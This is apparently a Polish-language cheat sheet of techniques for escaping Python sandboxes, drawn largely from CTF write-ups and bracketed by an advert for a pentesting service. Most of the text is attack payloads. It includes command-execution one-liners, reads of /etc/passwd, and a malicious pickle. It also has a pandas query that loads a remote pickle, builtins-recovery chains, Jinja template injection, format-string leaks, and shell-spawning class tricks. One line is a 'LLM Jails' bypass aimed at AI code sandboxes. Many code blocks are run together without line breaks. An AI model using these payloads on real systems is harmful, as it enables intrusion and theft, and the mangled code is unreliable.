Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes. Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
To są niektóre sztuczki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.
Biblioteki wykonania poleceń
Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąkolwiek z tych bibliotek:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Pamiętaj, że funkcje open i read mogą być przydatne do czytania plików wewnątrz piaskownicy Pythona oraz do pisania kodu, który możesz wykonać, aby obejść piaskownicę.
Funkcja input() w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu.
Python próbuje ładować biblioteki z bieżącego katalogu jako pierwsze (następujące polecenie wydrukuje, skąd Python ładuje moduły): python3 -c 'import sys; print(sys.path)'
Obejście piaskownicy pickle za pomocą domyślnie zainstalowanych pakietów Pythona
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę, pamiętaj, że przed użyciem powinieneś rozpakować go, zmienić setup.py i wpisać swój adres IP dla reverse shell:
Ten pakiet nazywa się Reverse. Jednak został specjalnie stworzony, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc nie zostawisz żadnego dodatkowego pakietu python na serwerze po wyjściu.
Eval-ing kodu python
Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operatora walrus)
Jeśli pewne znaki są zabronione, możesz użyć hex/octal/B64 reprezentacji, aby obejść ograniczenie:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Inne biblioteki, które pozwalają na eval kodu python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operatory i krótkie sztuczki
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassing protections through encodings (UTF-7)
W tym artykule UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python wewnątrz pozornie izolowanego środowiska:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE tworzenie obiektów i przeciążanie
Jeśli możesz zadeklarować klasę i utworzyć obiekt tej klasy, możesz zapisać/przeciążyć różne metody, które mogą być wywoływanebezkonieczności ich bezpośredniego wywoływania.
RCE z niestandardowymi klasami
Możesz modyfikować niektóre metody klas (przez przeciążenie istniejących metod klas lub tworzenie nowej klasy), aby sprawić, że będą wykonywać dowolny kod po wywołaniu bez bezpośredniego ich wywoływania.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Kluczową rzeczą, którą metaklasy pozwalają nam zrobić, jest utworzenie instancji klasy, bez bezpośredniego wywoływania konstruktora, poprzez stworzenie nowej klasy z docelową klasą jako metaklasą.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Tworzenie obiektów z wyjątkami
Gdy wyjątek jest wywoływany, obiekt Exception jest tworzony bez potrzeby bezpośredniego wywoływania konstruktora (sztuczka od @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Więcej RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Przeczytaj plik z pomocą i licencją builtins
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Jeśli masz dostęp do obiektu __builtins__, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji):
Kiedy nie masz __builtins__, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ wszystkie funkcje globalne (jak open, import, print...) nie są załadowane.
Jednak domyślnie python ładuje wiele modułów do pamięci. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich również importują niebezpieczne funkcjonalności, które można wykorzystać do uzyskania dowolnego wykonania kodu.
W poniższych przykładach możesz zaobserwować, jak wykorzystać niektóre z tych "nieszkodliwych" modułów załadowanych do dostępu do niebezpiecznychfunkcjonalności wewnątrz nich.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Wbudowane ładunki
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals and locals
Sprawdzanie globals i locals to dobry sposób, aby dowiedzieć się, do czego masz dostęp.
Tutaj chcę wyjaśnić, jak łatwo odkryć bardziej niebezpieczne funkcjonalności załadowane i zaproponować bardziej niezawodne exploity.
Uzyskiwanie dostępu do podklas z obejściami
Jedną z najbardziej wrażliwych części tej techniki jest możliwość uzyskania dostępu do podstawowych podklas. W poprzednich przykładach zrobiono to za pomocą ''.__class__.__base__.__subclasses__(), ale istnieją inne możliwe sposoby:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Na przykład, wiedząc, że z biblioteką sys możliwe jest importowanie dowolnych bibliotek, możesz wyszukać wszystkie załadowane moduły, które mają zaimportowane sys w sobie:
Jest ich wiele, a potrzebujemy tylko jednego, aby wykonać polecenia:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Możemy zrobić to samo z innymi bibliotekami, o których wiemy, że mogą być używane do wykonywania poleceń:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Ponadto, moglibyśmy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
Ponadto, jeśli uważasz, że inne biblioteki mogą wywoływać funkcje do wykonywania poleceń, możemy również filtrować według nazw funkcji w możliwych bibliotekach:
To jest po prostu niesamowite. Jeśli szukasz obiektu takiego jak globals, builtins, open lub czegokolwiek innego, po prostu użyj tego skryptu, aby rekurencyjnie znaleźć miejsca, w których możesz znaleźć ten obiekt.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Możesz sprawdzić wynik tego skryptu na tej stronie:
Jeśli wyśleszciąg do pythona, który ma być formatowany, możesz użyć {}, aby uzyskać dostęp do wewnętrznych informacji pythona. Możesz użyć wcześniejszych przykładów, aby uzyskać dostęp do globals lub builtins na przykład.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Zauważ, jak możesz uzyskać dostęp do atrybutów w normalny sposób za pomocą kropki jak people_obj.__init__ i elementu dict z nawiasami bez cudzysłowów __globals__[CONFIG]
Zauważ również, że możesz użyć .__dict__, aby wyliczyć elementy obiektu get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Niektóre inne interesujące cechy formatów ciągów to możliwość wykonywaniafunkcjistr, repr i ascii w wskazanym obiekcie, dodając !s, !r, !a odpowiednio:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Ponadto, możliwe jest kodowanie nowych formatterów w klasach:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails bypass
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
From format to RCE loading libraries
According to the TypeMonkey chall from this writeup it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
As reminder, every time an action is performed in python some function is executed. For example 2*3 will execute (2).mul(3) or {'a':'b'}['a'] will be {'a':'b'}.__getitem__('a').
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like '{0.system("/bin/sh")}'.format(os).
However, it's possible to use []. Therefore, if a common python library has a __getitem__ or __getattr__ method that executes arbitrary code, it's possible to abuse them to get RCE.
Looking for a gadget like that in python, the writeup purposes this Github search query. Where he found this one:
Ten gadżet pozwala na załadowanie biblioteki z dysku. Dlatego konieczne jest w jakiś sposób napisać lub przesłać bibliotekę do załadowania poprawnie skompilowaną na zaatakowany serwer.
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ i func_globals (te same) Uzyskuje globalne środowisko. W przykładzie można zobaczyć kilka zaimportowanych modułów, kilka zmiennych globalnych i ich zadeklarowaną zawartość:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ i func_code: Możesz uzyskać dostęp do tego atrybutu funkcji, aby uzyskać obiekt kodu funkcji.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Uzyskiwanie informacji o kodzie
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Zauważ, że jeśli nie możesz zaimportować dis w piaskownicy Pythona, możesz uzyskać bajtowy kod funkcji (get_flag.func_code.co_code) i zdekompilować go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (LOAD_CONST), ale możesz je zgadnąć z (get_flag.func_code.co_consts), ponieważ LOAD_CONST również wskazuje offset zmiennej, która jest ładowana.
Teraz wyobraźmy sobie, że w jakiś sposób możesz zrzucić informacje o funkcji, której nie możesz wykonać, ale musisz ją wykonać.
Jak w następującym przykładzie, możesz uzyskać dostęp do obiektu kodu tej funkcji, ale tylko czytając disassemble nie wiesz, jak obliczyć flagę (wyobraź sobie bardziej złożoną funkcję calc_flag)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Tworzenie obiektu kodu
Przede wszystkim musimy wiedzieć jak stworzyć i wykonać obiekt kodu, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
W zależności od wersji Pythona, parametrycode_type mogą mieć inną kolejność. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest uruchomienie:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Odtwarzanie wyciekłej funkcji
W następującym przykładzie weźmiemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W prawdziwym przykładzie, wszystkie wartości potrzebne do wykonania funkcji code_type to to, co musisz wyciek.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
W poprzednich przykładach na początku tego wpisu możesz zobaczyć jak wykonać dowolny kod python za pomocą funkcji compile. To jest interesujące, ponieważ możesz wykonać całe skrypty z pętlami i wszystkim w jednej linii (i moglibyśmy zrobić to samo używając exec).
Tak czy inaczej, czasami może być przydatne, aby utworzyćskompilowany obiekt na lokalnej maszynie i wykonać go na maszynie CTF (na przykład, ponieważ nie mamy funkcji compiled w CTF).
Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Jeśli nie możesz uzyskać dostępu do eval lub exec, możesz stworzyć odpowiednią funkcję, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: konstruktor niedostępny w trybie ograniczonym. Musisz więc mieć funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.
Python uruchomiony z optymalizacjami z parametrem -O usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości debug.
Dlatego kontrole takie jak
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")
Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
